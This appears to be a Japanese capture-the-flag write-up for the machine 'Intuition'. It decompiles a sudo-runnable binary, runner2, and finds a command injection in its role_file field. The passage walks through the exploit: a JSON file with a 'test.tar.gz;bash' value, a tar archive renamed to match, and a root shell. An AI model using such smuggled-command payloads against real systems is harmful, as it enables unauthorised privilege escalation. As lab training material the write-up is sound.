
action : list
actionlistが指定された場合、listPlaybooks()が呼ばれ、利用可能なPlaybookの一覧が表示されます。

if (iVar1 == 0) {
      listPlaybooks();
}

action : run
actionrunが指定された場合、まずはauth keyの認証が行われます。ここで使用されるauth keyとは先ほどスクリプトによって求めたものです。

piVar3 = (int *)json_object_get(piVar3,&DAT_00102158);
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
  uVar6 = json_string_value(piVar4);
  iVar1 = check_auth(uVar6);

認証後、認証に成功した場合は入力した番号に応じたrunPlaybook()が実行されます。/opt/playbooksディレクトリにアクセスできない場合や番号が適切ではない場合、エラーとなります。

iVar1 = json_integer_value(piVar3);
__dirp = opendir("/opt/playbooks/");
if (__dirp == (DIR *)0x0) {
  perror("Failed to open the playbook directory");
  return 1;
}
local_80 = 1;
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
  if ((pdVar7->d_type == '\b') &&
    (pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
    if (local_80 == iVar1) {
      local_78 = pdVar7->d_name;
      break;
    }
    local_80 = local_80 + 1;
  }
}
closedir(__dirp);
  if (local_78 == (char *)0x0) {
    fwrite("Invalid playbook number.\n",1,0x19,stderr);
  }
  else {
    runPlaybook(local_78);
  }
}
goto LAB_00101db5;

action : install
actioninstallが指定された場合、runの時と同様にauth keyによる認証が行われます。

piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
  uVar6 = json_string_value(piVar4);
  iVar1 = check_auth(uVar6);

認証後、認証に成功した場合は、指定したrole_fileに対してinstallRole()を実行します。

if (iVar1 != 0) {
  if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
    fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
  }
  else {
    uVar6 = json_string_value(piVar3);
    installRole(uVar6);
  }
  goto LAB_00101db5;
}

簡単なものではありますが、プログラムの全体像が見えてきました。
とりあえず実行がうまくいく形に持っていきたいので、JSONファイルを用意しコマンドが正常に実行できるか試してみましょう。一旦以下のようなJSONファイルを用意しました。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat list.json    
{
  "run": {
    "action": "list",
    "auth_code": "UHI75GHINKOP"
  }
}

こちらを指定して、runner2を実行してみましょう。

lopez@intuition:~$ sudo /opt/runner2/runner2 list.json
1: apt_update.yml

実行に成功しました!

Command Injection

actionlistの時に実行される処理は特に脆弱な部分はありそうにないので、もっと深くコードを調べていきます。

actionrunの時は最終的にrunPlaybookが実行されます。この関数のコードは以下の通りです。

void runPlaybook(undefined8 param_1)

{
  long in_FS_OFFSET;
  char local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  snprintf(local_418,0x400,"%s -i %s %s%s","/usr/bin/ansible-playbook",
           "/opt/playbooks/inventory.ini","/opt/playbooks/",param_1);
  system(local_418);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

コードの中でsystem関数が使用されています。system関数に使用されているlocal_418snprintfansible-playbookコマンドが作成され、変数に格納されています。
param_1を任意の文字列へ変更することができれば、コマンドインジェクションが発火しそうですが...

local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
  if ((pdVar7->d_type == '\b') &&
    (pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
    if (local_80 == iVar1) {
      local_78 = pdVar7->d_name;
      break;
    }
    local_80 = local_80 + 1;
  }
}
closedir(__dirp);
if (local_78 == (char *)0x0) {
  fwrite("Invalid playbook number.\n",1,0x19,stderr);
}
else {
  runPlaybook(local_78);

変更することはできないので、発火しそうにありません。
ということは、actionrunの場合も特に脆弱ではないようです。

では続いて、actioninstallが指定された場合を深く見てみましょう。この場合、最終的にinstallRoleという関数が実行されます。コードは以下の通りです。

void installRole(undefined8 param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = isTarArchive(param_1);
  if (iVar1 == 0) {
    fwrite("Invalid tar archive.\n",1,0x15,stderr);
  }
  else {
    snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
    system(local_418);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

こちらでも同じように、snprintfを使用して、コマンドが作成されsystem関数が使用されています。param_1が変更できそうかどうか見てみましょう。

piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
  uVar6 = json_string_value(piVar4);
  iVar1 = check_auth(uVar6);
  if (iVar1 != 0) {
    if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
      fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
    }
    else {
      uVar6 = json_string_value(piVar3);
      installRole(uVar6);
    }

role_fileをJSONの値から取得しているので、任意の文字にできそうです!コマンドインジェクションが発火する可能性があるので、試してみましょう。
まずは、JSONファイルを作成します。今回作成したファイルは以下の通りです。

lopez@intuition:~$ cat install.json
{
  "run": {
    "action": "install",
    "role_file": "test.txt;bash"
  },
  "auth_code": "UHI75GHINKOP"
}

role_fileのファイル名の最後にセミコロンを使用し、bashを実行するようにしました。このJSONファイルを引数に指定し、実行してみましょう。

lopez@intuition:~$ sudo /opt/runner2/runner2 install.json
Invalid tar archive.

tarファイルが適切ではないというエラーが出力されてしまいました。適切なtarファイルを指定する必要があるようです。
では、どのように用意するかですが、これは簡単です。ネットに公開されているansibleのテンプレートをダウンロードし、ターゲット上に展開します。

私はリポジトリをZIPファイルでダウンロードし、scpで転送する方法を選びました。転送後、unzipを実行し、展開します。

lopez@intuition:~$ unzip ansible-role-template-main.zip 
Archive:  ansible-role-template-main.zip
b4227d8e13fff85ede6a6e692920f25532241406
   creating: ansible-role-template-main/
   creating: ansible-role-template-main/.config/
...
 extracting: ansible-role-template-main/tests/test.yml  
   creating: ansible-role-template-main/vars/
 extracting: ansible-role-template-main/vars/main.yml  

次に、このテンプレートのtarファイルを作成します。

lopez@intuition:~$ tar -czvf test.tar.gz ansible-role-template-main/
ansible-role-template-main/
ansible-role-template-main/vars/
ansible-role-template-main/vars/main.yml
ansible-role-template-main/.github/
ansible-role-template-main/.github/ISSUE_TEMPLATE/
ansible-role-template-main/.github/ISSUE_TEMPLATE/feature_request.md
ansible-role-template-main/.github/ISSUE_TEMPLATE/bug_report.md
...
ansible-role-template-main/tests/inventory
ansible-role-template-main/CONTRIBUTING.md
ansible-role-template-main/README.md

ファイルの名前は何でもいいです。作成できたら、JSONファイル内のrole_fileに作成したtarファイルを指定します。

lopez@intuition:~$ cat install.json 
{
  "run": {
    "action": "install",
    "role_file": "/home/lopez/test.tar.gz;bash"
  },
  "auth_code": "UHI75GHINKOP"
}

そして最後にtarファイルの名前をコマンドインジェクションの形に対応させます。

lopez@intuition:~$ mv test.tar.gz test.tar.gz\;bash

これで準備万端です!

root としてのシェル

それでは、runner2を実行していきましょう!

lopez@intuition:~$ sudo /opt/runner2/runner2 install.json
Starting galaxy role install process
[WARNING]: - /home/lopez/test.tar.gz was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error
[Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/home/lopez# whoami
root

権限昇格に成功しました!

root@intuition:~# ls -l
total 16
drwxr-xr-x 2 root root 4096 Apr 10 08:21 keys
-rw-r----- 1 root root   33 May  3 02:53 root.txt
drwxr-xr-x 5 root root 4096 Sep 19  2023 scripts
drwx------ 4 root root 4096 Aug 26  2023 snap

ルートフラグも取得し、完全攻略達成です!

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?